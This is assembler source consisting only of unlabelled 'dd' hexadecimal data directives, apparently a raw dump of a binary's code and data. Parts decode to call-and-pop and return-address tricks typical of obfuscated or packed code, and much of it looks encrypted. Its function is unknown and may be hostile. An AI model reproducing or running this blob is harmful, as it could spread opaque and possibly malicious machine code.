		dd 0B06121Bh, 30840FC0h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 54FCC355h
		dd 4108FA86h, 2EED431Bh, 247E9h, 45958900h, 0E8061204h
		dd 4, 12Ch, 50DF8B66h, 448B15B5h, 0BF660424h, 8B4044h
		dd 0C4BA6657h, 44895976h, 8E90424h, 0C4000000h,	4F987063h
		dd 58C84E4Ch, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	88C35747h, 0FF80E621h, 1219CD95h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 89898A24h, 4DD2440Eh, 0FBBB66EAh, 0EE867h, 4C7B0000h
		dd 37EDE2DAh, 0C4A2A052h, 0D9B2E4A0h, 6800Fh, 85890000h
		dd 6120139h, 35B58D5Bh,	0F06195Dh, 0C81h, 68C0F00h, 8B000000h
		dd 121EA995h, 4606C706h, 6A656C69h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 4747C350h
		dd 0E94A77A6h, 12h, 0CA5A0DA5h,	5087D206h, 43440580h, 0A700564h
		dd 9D3362FEh, 61214D9h,	6D0446C7h, 6A636E6Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 895AC352h, 12107585h, 9DB46006h, 1B45BD0Bh, 0C7610612h
		dd 616C0846h, 8D2B7373h, 6122A01h, 0C46C7h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0AA5AC350h, 54AA65D3h, 14E9h, 9C66C300h
		dd 0B6A48DB4h, 0A6CCFDD8h, 9C77383Eh, 829ED717h, 3820FAEh
		dd 0F000000h, 6ACBBFh, 13E8h, 2EAEA100h, 85DDAE2Eh, 0EA474BC0h
		dd 0F5162D95h, 0D97C35A6h, 5FB5C780h, 5D35858Dh, 0EA800619h
		dd 51BD8BF1h, 50061216h, 0FE8h,	0FC5D300h, 0C0A9779Bh
		dd 0CBC26C0Fh, 0F092B60Eh, 800F51h, 59000000h, 2404895Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 8AC35141h
		dd 29D995FFh, 8D890612h, 61205C1h, 840FC00Bh, 35h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h, 735EEFE8h
		dd 0A2824AB4h, 2DD1BD31h, 11E90612h, 8B000000h,	1221DD95h
		dd 0FA45E906h, 0BD89FFFFh, 6122329h, 7277B58Dh,	6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0A2D60AC3h, 0D1DDE2EAh, 0B8h, 0FFCA8A00h, 0A5958BE6h
		dd 8B06120Dh, 568D8DC1h, 6A061965h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8A86C352h
		dd 0FAB70FC3h, 9A18D89h, 958B0612h, 6122ABDh, 50585C7h
		dd 59A80612h, 0C7F90000h, 121BD985h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 1BD89ECh, 0FF06121Fh, 122DB9B5h, 59E38106h, 0FF05153Dh
		dd 121B3195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 75B208E5h, 8BFC0949h, 0FF006AFBh
		dd 1219CD95h, 0EBC08B06h, 8BCA64Fh, 5A1F5463h, 0D8560184h
		dd 197F269Dh, 3081B480h, 8341E02Fh, 0EDAA746Bh,	0C64CC72Fh
		dd 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh, 0DC3AA07Ah
		dd 0E32C6653h, 38FDEC8Eh, 9745CD2Ch, 0C0E02817h, 513411DCh
		dd 89F59B05h, 0D454BAE2h, 0CE8h, 1B405700h, 537A4070h
		dd 0BDD407E4h, 4266BFF7h, 8B59155Bh, 2DC181F9h,	31000059h
		dd 12176D85h, 1623BA06h, 0CF810000h, 6C00972Fh,	0BE66198Bh
		dd 0C3812A03h, 13615E60h, 0B025BE66h, 0EFB6EB81h, 0B86607A8h
		dd 0F381E4E5h, 0C2257CCh, 0BD8B1989h, 6123195h,	8B01E983h
		dd 120D4D85h, 49494906h, 9E9h, 0F838E900h, 1DB2E0EAh, 0F4A6B77h
		dd 1285h, 52B86600h, 28E9C7h, 5E2A0000h, 0E23F9840h, 8B0A92A0h
		dd 12318985h, 0FF9AE906h, 0C432FFFFh, 0D215A830h, 2D4E2BB4h
		dd 2A806F81h, 434BDC92h, 2EE9F75Dh, 77000000h, 4AC9B2h
		dd 0Ah dup(0)
		dd 0D5AE900h, 0BA680000h, 0E9061968h, 0FFF91969h, 19697368h
		dd 195FE906h, 3A68FFF9h, 0E906196Ah, 0FFF91955h, 196AF268h
		dd 194BE906h, 4D68FFF9h, 0E906196Eh, 0FFF91941h, 19713D68h
		dd 1937E906h, 3268FFF9h, 0E9061972h, 0FFF9192Dh, 0E482EEE1h
		dd 0F89600F4h, 10AE1008h, 26C42A20h, 3BD94136h,	0C0173CEh
		dd 1F1606A4h, 342D1DBBh, 4C4636D4h, 0F05150EEh,	26D577Fh
		dd 0B2536676h, 0D883E3DCh, 26D3F67h, 96004E76h,	62D35C5Ah
		dd 6FE9073Ah, 0B189F341h, 0E85154BCh, 60551D12h, 79FF5F8h
		dd 6C44AE04h, 0F6681373h, 12393300h, 5DDB4548h,	933EC5C8h
		dd 9C71990Ah, 2A786FE9h, 1FC435C0h, 4269FBA6h, 9D9FE8D0h
		dd 77E183B6h, 48AC4E98h, 8E83D9DDh, 25D94BF6h, 0B36B56A1h
		dd 80D1B41Eh, 75FB7554h, 0FFD3B38Ch, 0DE2FECA8h, 2EEFh
		dd 865C9500h, 45C22C8Eh, 9F10BB46h, 69FB0BDAh, 499A9DEBh
		dd 75FB141Dh, 1A9C7C55h, 873FD2A8h, 26CB63Bh, 2FE5CE25h
		dd 0C15DEh, 20BB0000h, 84Fh, 4FB1A97Fh,	150FA9E5h, 4FEB4B7h
		dd 64D55246h, 6FE9073Ch, 5A5DF543h, 39CE6C04h, 7B04AF32h
		dd 0E04AAEA5h, 0FB1DB06Dh, 9093E169h, 0FB22133Fh, 92724B75h
		dd 0DC463A10h, 9A3E9572h, 0C133DE2Fh, 2C31737Ah, 0B4ED5702h
		dd 3Ah,	0E0636A5Ah, 11C3C435h, 0FC4A69FBh, 0EAAADF51h
		dd 94CFEFE1h, 0CAF6472Ah, 275FB31h, 0C424CD3Fh,	0B8A98F53h
		dd 7C749C0Dh, 2D7B75FBh, 6E4222C3h, 0DE2FF017h,	0CB5Eh
		dd 150F0400h, 0DFF414BBh, 297F82EAh, 46041195h,	0F5ABAEh
		dd 45DD4138h, 544F289Ah, 2D4878FEh, 302AE0C3h, 0F466CFD2h
		dd 218C061h, 0F1C93371h, 58FB99F7h, 24278B82h, 0E5F164CEh
		dd 3B6FE9AFh, 5545E341h, 91FAFD5Bh, 3FE541Fh, 2D27CADCh
		dd 0DE76CCCFh, 3C120D4Ah, 0B11BAA6Ah, 0FFAA3934h, 0FB7DE58Eh
		dd 8A6F469h, 3EE97873h,	85E7DFB5h, 2079A81Bh, 46947010h
		dd 68D0C59Bh, 7DE5DACAh, 43BC888Bh, 25CAAD79h, 0A6Dh, 0CC6AD6C9h
		dd 0E07EE8DCh, 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h
		dd 7FEEE8Ch, 1C1505A3h,	342E1EBCh, 0D83938D6h, 26F3F67h
		dd 0E93B4E76h, 2991865Ch, 8E66D026h, 0A3933199h, 59AD4BA9h
		dd 35E0636Ah, 0BC1F6BC3h, 55B5EC8h, 0B8EB8B71h,	5152C34Eh
		dd 0F869FB3Eh, 2A56A7AAh, 6275FB41h, 4C942D9Fh,	0A839FFC3h
		dd 0E9BD9D3Eh, 0DE305E92h, 82D9h, 150F7F00h, 65FD5F57h
		dd 4FB7AC62h, 2EFFB4Ch,	4B456FE9h, 655F4FEDh, 0A2A90407h
		dd 5A03741Fh, 6369FB0Bh, 0EBE27715h, 1E3CAD58h,	0F1700FB0h
		dd 2D22F8A3h, 423727C5h, 0E819E8DAh, 1D007943h,	9B478h
		dd 238F8200h, 37A19585h, 4FB1A999h, 65CBC1B1h, 7AE2D7C7h
		dd 0A2106FDCh, 0B7A745ADh, 0CEBE5CC0h, 0E7D775D5h, 0F2F18FEDh
		dd 70F82091h, 0F4077602h, 0B21A0FA2h, 0D33D3107h, 1FBEB69h
		dd 0FB105A3h, 0FEB4B715h, 0FA229304h, 16FE907h,	0DA7D1BB3h
		dd 3EA80E04h, 16153804h, 0D26FE08Bh, 4369FB2Eh,	0A9A8FBF5h
		dd 0C6CC3E5Eh, 20913CC7h, 19D24F0Bh, 2048B91Ah,	2F19AE2Fh
		dd 2C9E49E1h, 49D2DA9Bh, 0AF92FC99h, 1FCA5954h,	0C1B755AEh
		dd 0CB76C413h, 52001959h, 0BC267373h, 0F0615B31h, 2FC2201Ah
		dd 1FB9B507h, 1C44B516h, 231FB9B5h, 7A53DD5h, 0CF12F264h
		dd 0D695A543h, 3C9A946Ch, 7A46AD4Ah, 0D07558C9h, 8EDh
		dd 4CEA5649h, 60FE685Ch, 78167870h, 8E2C9288h, 0A341A99Eh
		dd 7469DB36h, 877E6E0Ch, 9C958523h, 0B4AE9E3Ch,	58B9B856h
		dd 271BFE7h, 69BBCE76h,	0CB7150Fh, 7EA1283h, 0D4456FE9h
		dd 6FE907ACh, 186665B3h, 7D70CBAEh, 52C93BE6h, 5981F27Ch
		dd 606FE9A9h, 0CFC7E12h, 54BCB1A9h, 691FB51h, 0FBE35895h
		dd 0F0E7BD69h, 0F543228Ch, 1B7B744Ah, 21948D7Dh, 0FBE388B0h
		dd 0B1499775h, 796F45AEh, 50BA1013h, 0FBE3B5DDh, 0F3043075h
		dd 767575FBh, 37054EFh,	0F5EDD2BAh, 57029AFEh, 0D1E2DE6h
		dd 0B0E5C70h, 6ED8CCA2h, 0D4322C04h, 4A8E13E2h,	5E03E679h
		dd 835h, 4A20E01h, 18B62014h, 30CE3028h, 46E44A40h, 5BF96156h
		dd 2C2193EEh, 3F3626C4h, 544D3DDBh, 6C6656F4h, 1071700Eh
		dd 271779Fh, 21738676h,	35E0636Ah, 0FB0F0BC4h, 40B11269h
		dd 75FB0F18h, 9641D927h, 6164CAC0h, 4E51B3ABh, 13F660F8h
		dd 88B021AAh, 9E75FB0Fh, 0EB4144A6h, 5C349EECh,	7060FE68h
		dd 56BCB27Ch, 0E052BBBEh, 97342805h, 0DB58C276h, 36A853D2h
		dd 91601929h, 0CF5AC40Eh, 0FBDAFE5Eh, 978B6175h, 96E4C32Dh
		dd 9D7D3C93h, 0D270DACEh, 0FBDB1B47h, 4838C75h,	0DB94E859h
		dd 0A5F375FBh, 968E6407h, 71DB3134h, 383BA599h,	0FBDAC3E7h
		dd 9E9A875h, 475FE87h, 75FBDBDCh, 0DA0295E3h, 0E175FBDBh
		dd 0DBE70F80h, 0A8F675FBh, 0DACEA610h, 592FD270h, 0BC94FE62h
		dd 0DDB35EC8h, 331680E8h, 0FBDB66E2h, 0BC9C5B75h, 0F18FF9EDh
		dd 29D4535Ch, 0FBDB8BB8h, 494C9A75h, 50120AE0h,	5B5EF658h
		dd 93289B05h, 9B219B36h, 8A60E2C2h, 55E33591h, 353B04ACh
		dd 0E45B099Dh, 271D7E0Ch, 3F89E0BDh, 0B5D04A91h, 76000001h
		dd 3A62D35Ch, 416FE907h, 10C89F3h, 5D66D782h, 0AC69FB2Dh
		dd 0E3DDB35Eh, 0FDF7E785h, 0C14B9C9Fh, 0ACEEC1D8h, 0E911820Bh
		dd 0F0F13D87h, 8D0A0EA2h, 6B723863h, 0B1806001h, 18BB59B7h
		dd 1FEBDAA6h, 68BEC12Bh, 2DE67CD4h, 97F1EBC3h, 0CA40920Bh
		dd 0E0E37B3Ah, 52FD8485h, 2023837Ch, 0F2E260CAh, 0DD9396FCh
		dd 0F7E785E3h, 4B9C9FFDh, 9EB89951h, 43C5A55Ch,	0E11776Dh
		dd 7C764EB8h, 0A49D731Eh, 6C5CDA44h, 68900172h,	7763C75Ah
		dd 75199529h, 833EDE52h, 0D7FE8EBh, 0E9E3A610h,	57C2F78Bh
		dd 9D8E0B75h, 60D25B06h, 32C6BC97h, 7AED5719h, 63C7CC52h
		dd 4EB6AB59h, 9F7518B6h, 0ED4346A6h, 4EB6AB83h,	81A91AA3h
		dd 8F63C7CCh, 0E7353498h, 4E3F9A7Dh, 679B0CB7h,	0DA63C7CCh
		dd 22931004h, 63C7CCFAh, 181BB301h, 2B7958C2h, 45A39D8Dh
		dd 69CDC49Ah, 71661CFFh, 0F0AF0609h, 0E9474110h, 0AE1FA84Bh
		dd 63C7CC86h, 8DEFE795h, 0A49C348Ah, 0F3494CAAh, 59B7B189h
		dd 7BE3D8AEh, 302A2278h, 0F79CFD2h, 0E9D8D12Ch,	4BF68EF2h
		dd 128E50C2h, 8064D7BBh, 0C7A8C5EDh, 1C86D463h,	0A8F02091h
		dd 0B1FF63C7h, 6B292313h, 51B9AE76h, 5D60F84Eh,	0B66C6F07h
		dd 985A5DBDh, 76703F1Fh, 908A7A18h, 0BCB18732h,	0AC07EA54h
		dd 0F07924A3h, 0C7A8577Fh, 84186663h, 76C36296h, 2CB7216Ch
		dd 0C7BD7FBBh, 0ECE08E63h, 91297F82h, 0C4EC5DE6h, 0CB63C7BDh
		dd 0BDD1F96Ah, 8AD863C7h, 1A0A88F2h, 153DAE21h,	2463C7BDh
		dd 0E03B3ED6h, 3CAD58EFh, 63C7BD04h, 0CB1FBD0Bh, 5E57150Fh
		dd 0DA5FBFEh, 4068D962h, 4F6FE907h, 84199701h, 0DE4FFA89h
		dd 69FB00BDh, 6FD3CAA0h, 0CDAC166Ch, 6D65271Fh,	1AB2080Bh
		dd 7E29C117h, 0F557580Ch, 0C8F50346h, 0E5E77B5Eh, 0A9349E11h
		dd 0DC7ADAD3h, 9093F3ECh, 0AB3635h, 46AAA177h, 1083ED43h
		dd 700DE1D3h, 60B1B402h, 6FE9F534h, 701BA6A5h, 0FBDD46FFh
		dd 6095769h, 6F85650h, 7337CFE5h, 0DA781D00h, 5C000004h
		dd 6F5FFD69h, 8373117Bh, 9B8B298Bh, 0B1A13FA5h,	49B654BCh
		dd 1F877CEEh, 369A9181h, 4FAFA898h, 69C7C1B1h, 0FA6BCCCBh
		dd 760275D2h, 6A74C6D9h, 0C435E063h, 69FB01F3h
		dd 98E9EC3Ah, 75FB0E6Bh, 16EACAA3h, 0DE2F85BFh,	23E7DEB4h
		dd 6EC4C72Dh, 0AC336CD6h, 0D9000000h, 3C86EA5Ch, 0C279A2BFh
		dd 0E9E32951h, 4AE2306Fh, 0E3116DE0h, 3CE76FE9h, 0A87DF1CAh
		dd 0EC567C23h, 6DCBC59Bh, 0AC3F3ACFh, 0A9609001h, 216F6FE9h
		dd 0B06E681Eh, 0FF5558B6h, 3534C967h, 0F989FBA6h, 329CB201h
		dd 63D45FC9h, 6FE9F633h, 15EE1C8Eh, 0D1AAA69Bh,	373A8867h
		dd 7E298781h, 0AFE1970Ch, 0E93B163Eh, 43D7256Fh, 3AA434F3h
		dd 992827BCh, 0BFF365EEh, 0A686ECA0h, 86D245AFh, 956FE97Ah
		dd 0D386B54Bh, 0E9613A62h, 5FF3416Fh, 56EE3BC5h, 36D60253h
		dd 8C4B6FEAh, 0AA3938ACh, 0B6428EFFh, 3516FE9h,	0A98665h
		dd 6A340000h, 0C435E063h, 69FB0F0Bh, 0BC1C412h,	7D12B014h
		dd 0D647F28Fh, 75FB0FA2h, 0D0493F15h, 0FB0F375Fh, 60F84675h
		dd 4BB1A75Dh, 0F05AF248h, 6FC0C311h, 96290150h,	592D0DE6h
		dd 0D20B7602h, 6649h, 172EA000h, 0FDD246CCh, 5CD10D77h
		dd 73A62D3h, 0F3416FE9h, 81000C89h, 73D65D6h, 0FE4C6FE9h
		dd 0EA4E45FBh, 30B5B74Ch, 337840C1h, 514D6A07h,	338B64F8h
		dd 69D1C6BEh, 39B526D1h, 0C86FE9F6h, 380E777Ah,	82D8DB43h
		dd 3679A518h, 2FEE6FEAh, 50D1DB4Fh, 0FFD033A5h,	265F4D87h
		dd 44C031BCh, 0D36FE989h, 0F93E785h, 0FA625715h, 0E44C41F7h
		dd 5BF38BE1h, 2219EF58h, 827C54BEh, 1307CFC4h, 0B80E11A9h
		dd 0FEED8220h, 8A47B863h, 0F69FB1Dh, 22ED1586h,	0AEFC75FBh
		dd 14176544h, 0FB2297C3h, 16F6CF75h, 2F99EB42h,	4932DEh
		dd 5CD80000h, 2B2E8C86h, 0FFEE6BD5h, 4748B964h,	669FB11h
		dd 0C39B0DB8h, 0C0017870h, 96E7CA34h, 75FB246Ah, 24278780h
		dd 0E11796Eh, 66C8C0B8h, 6189FA63h, 6875FB24h, 0E4C47B1Ah
		dd 0E6C69F75h, 2F97BB12h, 10202DEh, 0FA80000h, 0FB615715h
		dd 5F0AA2F8h, 7AAEC1EDh, 0A40EBA5Bh, 4E160BC1h,	359B9159h
		dd 9C09099Dh, 3A970F42h, 0C4369FA2h, 47BACB83h,	0B088F292h
		dd 0EC5558B6h, 53CAF263h, 0E3D86FE9h, 362E7C7Bh, 81D7DA40h
		dd 0E7453F17h, 4EB2BE49h, 8E886FE9h, 0B9AF8530h, 90FA5053h
		dd 0A3996F12h, 12BA5941h, 0DF7795CAh, 45A39D75h, 67CFC49Ah
		dd 2E7A0E64h, 0B5DF6770h, 0E03B1E88h, 3AAB56EDh, 69FB8781h
		dd 79C3A88h, 61D27D04h,	700FE9CBh, 83590452h, 0A57B268Eh
		dd 0F1474AAEh, 90660987h, 0DA30339Bh, 8623D746h, 85EF964Ah
		dd 5E50B8ADh, 794442FBh, 0EAC66B4Eh, 4C000001h,	5F4FED59h
		dd 7363016Bh, 8B7B197Bh, 0A1912F95h, 39A644ACh,	0F776CDEh
		dd 268A8171h, 3F9F9888h, 59B7B1A1h, 0EA5BBCBBh,	760278C2h
		dd 0F64B6C9h, 7114B21Ah, 9A78EDFFh, 0C22CB279h,	3A32F0EAh
		dd 94BC2DD8h, 9B6FE976h, 0C317B54Dh, 0FB28EA5Ch, 5B322861h
		dd 0EA7974F1h, 0CDCE3Fh, 1B7C69FCh, 0FBFF82AAh,	433B8975h
		dd 4D50E84Ch, 0C2EA5BE4h, 0C975FBFFh, 729E117Bh, 0AA75FBFFh
		dd 0B71911E7h, 53F45EB4h, 73489F73h, 0A38FDE30h, 35000000h
		dd 0CB7150Fh, 0D5D84236h, 0C932157Fh, 2F99FBF3h, 0F7FA6257h
		dd 0E9029AA6h, 1C76706Fh, 0CCCDFC90h, 41DF775Eh, 0F6F95751h
		dd 0BAB1909Bh, 65FD5356h, 0A79049BAh, 6BB969FBh, 5F542ACDh
		dd 0CA9995FBh, 61F9F24Ch, 0F0737AF7h, 0D69DD445h, 72C0700Fh
		dd 94FCF1C7h, 0A91106F6h, 441298B7h, 15BA9D79h,	0F5h, 44E24E41h
		dd 58F66054h, 700E7068h, 86248A80h, 9B39A196h, 6C61D32Eh
		dd 7F766604h, 948D7D1Bh, 0ACA69634h, 50B1B04Eh,	279B7DFh
		dd 61B3C676h, 14B21A0Fh, 2ECC2A24h, 5ABEB58Bh, 0D35CB4F0h
		dd 0E9073A62h, 0FBF3416Fh, 459B9E06h, 0AF0903DBh, 67A135EAh
		dd 50E11017h, 98E2ED98h, 0AF656800h, 4ABB44B5h,	6FE94522h
		dd 2048DB29h, 366FE945h, 81D7DA40h, 0F19C3482h,	0BEC3897Fh
		dd 4DB7F882h, 0B0333ACFh, 29359305h, 0B0E3656Ah, 51BB53BBh
		dd 9ED055C6h, 0EFC569F0h, 4D2C96F6h, 4C46FCFFh,	666050EEh
		dd 10B40508h, 5F295319h, 0AE7C4CBEh, 0F4144F31h, 3A09E98Ah
		dd 5444E240h, 0EAC5005Ah, 0C3889674h, 0FC200B6Bh, 750DA5D8h
		dd 60C6BC72h, 0D45D065Dh, 0B20B3B63h, 8AF442BAh, 403A09E9h
		dd 6C6137E2h, 41AB0104h, 7BD9D3C3h, 3D378h, 95810000h
		dd 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah,	63CBC076h
		dd 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h, 0EC834D0Bh
		dd 243C8904h, 0C781E789h, 4, 8704EF83h,	835C243Ch, 1C8904ECh
		dd 5D086824h, 3C890000h, 2F5DBB24h, 0BD551AA4h,	361731D6h
		dd 4503E5C1h, 8145DDF7h, 3D2DD9E5h, 25C5817Eh, 19D7116h
		dd 0E8685DEBh, 8900003Ch, 4812424h, 424h, 53535F00h, 7F7F8EBBh
		dd 245C295Dh, 478F5B04h, 8478108h, 5D7F7F8Eh, 5F2434FFh
		dd 4C481h, 1C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 0F90C24E9h, 0E14433FFh, 0DD645BFDh, 24788433h
		dd 19734CB8h, 0FFC50306h, 0F4C9CDE0h, 0B4B03016h, 0AEF23B17h
		dd 17D7DD2Dh, 0EC00B04Dh, 9A145D25h, 0B866564Ah, 1F78C28h
		dd 0DE86Bh, 3F9F0000h, 6BF9F3E3h, 0D35F3BFAh, 8BD0EAC8h
		dd 0E9605AF7h, 0Dh, 318E0E73h, 9C8FD90Bh, 0DC5398Fh, 8161F87Ah
		dd 0E257C2h, 870F00h, 0BF000000h, 386Fh, 0AFABE181h, 32FF17B4h
		dd 28D0Fh, 0DDB10000h, 0BE9575Bh, 1A000000h, 23F13C7Eh
		dd 0CD0C5DB6h, 81590DA5h, 0B9FFE1C3h, 0C38B6645h, 0B28EC381h
		dd 870F2BEAh, 2, 0F3812DB4h, 25FE81A2h,	0B4DE8166h, 0BE1A8967h
		dd 0FB098A1h, 0B801EA83h, 61289099h, 664A4A4Ah,	0F9B0C981h
		dd 0F01EF83h, 0FFFFA185h, 5EBE66FFh, 0ECE971h, 0
		dd 0AC370000h, 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h
		dd 77F7h, 277E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 20000h, 0ED140000h, 0A2A31611h, 66113211h, 6699DA75h
		dd 158D3215h, 72B7893Ch, 88CE70D3h, 17E368Eh, 913BF5h
		dd 7DE39Eh, 6F7CF194h, 0F735B174h, 6642200Eh, 0DBA13B60h
		dd 600325C8h, 36914615h, 0DE84B946h, 66223604h,	6694B79Ch
		dd 0FB053407h, 60509C1Ah, 3E79E1EAh, 71CC8F96h,	12883407h
		dd 0DE176202h, 66223604h, 6694B79Ch, 0FB053407h, 605098EBh
		dd 3E79E1EAh, 619C3DE0h, 69883215h, 6644339Bh, 2D4ACE15h
		dd 0EF113221h, 0A5011609h, 8F1FEA9Ch, 66223212h, 0D3F51B27h
		dd 0E55FA721h, 7F30E6A8h, 0E22D3213h, 6611325Ch, 668837FCh
		dd 0D6FC8D15h, 0E3AF7DBBh, 60086822h, 6689BF1Ah, 99BD3215h
		dd 694252C5h, 66113295h, 757B915h, 7948D1Ah, 3C45B798h
		dd 75F8340Ch, 90883215h, 5EB7C65Ch, 4D46BC7h, 0F18A5D37h
		dd 2D27F808h, 0B6BBE121h, 17A7F4E9h, 3017203Dh,	0DEDA5AE0h
		dd 24AEBDh, 70A0FADh, 56F887EAh, 75613407h, 0C1443215h
		dd 72ED0095h, 0B8EAA7E5h, 1BA23F60h, 16D087D1h,	0E3AF80F6h
		dd 60044D20h, 6958CDECh, 6644339Eh, 0E3ABCB15h,	600310A8h
		dd 66883AFCh, 70C72415h, 4E2870E6h, 2794F568h, 668E203Ch
		dd 9E443215h, 0EC488975h, 27A724C4h, 170DF474h,	2342203Dh
		dd 6627DBECh, 92EC3215h, 0E002092h, 0E8365B7Ch,	0ADE1B275h
		dd 9970BCA2h, 748B83A0h, 0B6C55213h, 701E8719h,	0EB70CA9Eh
		dd 74B36F90h, 0B6BBCA13h, 662221FCh, 6075DC15h,	1B21B851h
		dd 2B3A3F14h, 0A42A272Bh, 0E6AB445Ah, 570DB79Ch, 0EA4B3407h
		dd 66223204h, 6614DB75h, 7EAC3215h, 0DC1F92B4h,	0F4D60B9h
		dd 1794F474h, 258E203Dh, 0D1A5AECh, 99DBAE72h, 741283A0h
		dd 610C3D13h, 6443215h,	819B13AAh, 0E39C535Eh, 609A0948h
		dd 8F94CDE9h, 66223205h, 2F5E89CEh, 8E874EB6h, 2EC1A7A7h
		dd 0C688BBD8h, 12ADB79Ch, 0E687340Ch, 6644320Eh, 6637BD1Ah
		dd 76F83215h, 0A8883215h, 7A5A95C9h, 6E64C9C8h,	742A7DC8h
		dd 0A05B2CC1h, 746C4390h, 8F426613h, 6611321Fh,	1056B836h
		dd 0F43A2AAEh, 0AD98E1DDh, 77D6E9Ah, 4E01B7Dh, 664BDBFBh
		dd 0B9F3215h, 0E70C9E52h, 0F427E9EAh, 0AC30797Ah, 0D797CD05h
		dd 69172016h, 66883391h, 0E3C9CB15h, 60300948h,	9EC1CDE9h
		dd 0A60DBBE9h, 9F422B61h, 662222FCh, 10140815h,	42222765h
		dd 7F4066FFh, 9DE49D1Ah, 1794F4C4h, 238E203Dh, 0ED225275h
		dd 0D5CCB3EEh, 70904A5h, 669FB11Ah, 77AC3215h, 3D223215h
		dd 21C861F0h, 7EAEAE8Dh, 0B8B83116h, 0AB8866A5h, 0A479534Eh
		dd 8F52522Dh, 66443205h, 564D6B1h, 832C266Fh, 3474E510h
		dd 17DCD012h, 659387EAh, 0E81E3407h, 6688321Fh,	664437FCh
		dd 39F66B15h, 0E39CC0A7h, 609A0948h, 9394CDE9h,	12E6B79Ch
		dd 0E771340Ch, 0F23D58E2h, 7B4B91Eh, 618F8F96h,	69113407h
		dd 66892190h, 0E382CB15h, 60301A64h, 6E933D50h,	69883215h
		dd 66443091h, 8F435215h, 66113218h, 69CE7A6Dh, 8F087207h
		dd 5B7525h, 18975AEFh, 0EF87C835h, 6644320Eh, 6631DA75h
		dd 0EE453215h, 0E56E90AFh, 587F09B3h, 0F1A4496Eh, 5F7F994Bh
		dd 69E96B03h, 6644339Bh, 0D3DDCB15h, 600331A4h,	0E8876575h
		dd 66443215h, 0E22D524Ch, 66113215h, 668834FDh,	3FA75F15h
		dd 392CE110h, 0E7715374h, 0F493EFFEh, 46ADB363h, 778B40Ah
		dd 5D4CB798h, 6B613407h, 89443215h, 2C96414Bh, 818F9097h
		dd 84B1A01Ch, 0EFBDE2EAh, 7F56FA90h, 0B4905213h, 3B120562h
		dd 404CA3ACh, 0E3E45377h, 60031A64h, 67093D59h,	93443215h
		dd 0B6E15AEDh, 72F8D233h, 6B883215h, 0D138A79h,	0E7FCDD7Dh
		dd 2DF4312Fh, 30E9C3FFh, 9910846Dh, 742183A0h, 0E39CCE13h
		dd 609A0948h, 9E94CDE9h, 12EEB79Ch, 6EF8340Ch, 0C0883215h
		dd 6B35F23Eh, 8F53597Bh, 661132ECh, 6689B41Ah, 9FBC3215h
		dd 4E53B7D3h, 69433407h, 66883E94h, 60C93D15h, 69223215h
		dd 66113293h, 82855A15h, 0E34B8E5Fh, 66223214h,	0D3EECEECh
		dd 609A12E4h, 3BC1BFE9h, 624202Eh, 6614B21Ah, 0E7EE3215h
		dd 7CAFAD5h, 75CBE2EAh,	77113215h, 0FF8AB303h, 67BE3B0Ah
		dd 8B578CF9h, 8C80A95h,	0E30184AAh, 605D46DDh, 6636DA75h
		dd 48563215h, 75414ED0h, 7DFE41D1h, 0D3250917h,	12EB1E0h
		dd 636069F6h, 9A443215h, 0CCA3DCF0h, 0BD90694Bh, 6B0CBF71h
		dd 17C1F474h, 3424203Dh, 2C595AE0h, 6E619459h, 8C443215h
		dd 600FF70Ch, 9974E7A6h, 74A8C3A0h, 72C43D13h, 6223215h
		dd 661139FCh, 219B8015h, 77126AF7h, 0AB10ECBBh,	0EB70FC9Eh
		dd 74B36F90h, 664BDB13h, 0D0803215h, 75DA2F0Bh,	0E19C06DBh
		dd 1A960E7h, 69F2CDF4h,	6611339Ah, 0E301CE15h, 605D46D9h
		dd 17A7F4E0h, 3417203Dh, 6689BD1Ah, 0EB83215h, 9B6086FFh
		dd 661134FCh, 5CAD015h,	99FDA103h, 742183A0h, 679F3D13h
		dd 9A883215h, 5D19B798h, 0D6423407h, 9970CEBCh,	6E6152C5h
		dd 3F443215h, 8793F720h, 71A31F5h, 4BD5B79Ch, 6EAD3407h
		dd 48223215h, 0E66360FCh, 8FF8E3C2h, 66443218h,	48D9778Ch
		dd 0E1BACFE4h, 3F6E2A86h, 17C1F437h, 1124203Dh,	6604B71Ah
		dd 76613215h, 0EE443215h, 0DAD8E03Eh, 4976C909h, 0C111C824h
		dd 8F5C1E60h, 66223204h, 0C23B48A4h, 2848CB0h, 96FEF4A9h
		dd 61CACCEh, 0CEB25AE2h, 9974C182h, 74590BA0h, 6FA73D13h
		dd 6113215h, 2A164CAAh,	71B607Ch, 5D7FB798h, 69F83407h
		dd 4D883215h, 945817E1h, 8BF0963Ch, 0D8341CF2h,	0B6770499h
		dd 6648B01Ah, 0E32D3215h, 66113213h, 6688B81Ah,	6243215h
		dd 39715375h, 6614DB74h, 30BC3215h, 7D118C0h, 7D27B79Ch
		dd 74F83407h, 76883215h, 7DEF83BAh, 8EE7A028h, 9F41E45Dh
		dd 0D267AC4Fh, 17C1F483h, 3424203Dh, 661137FCh,	0B168C715h
		dd 712C0024h, 6A8EF24h,	959054ECh, 99E95052h, 744783A0h
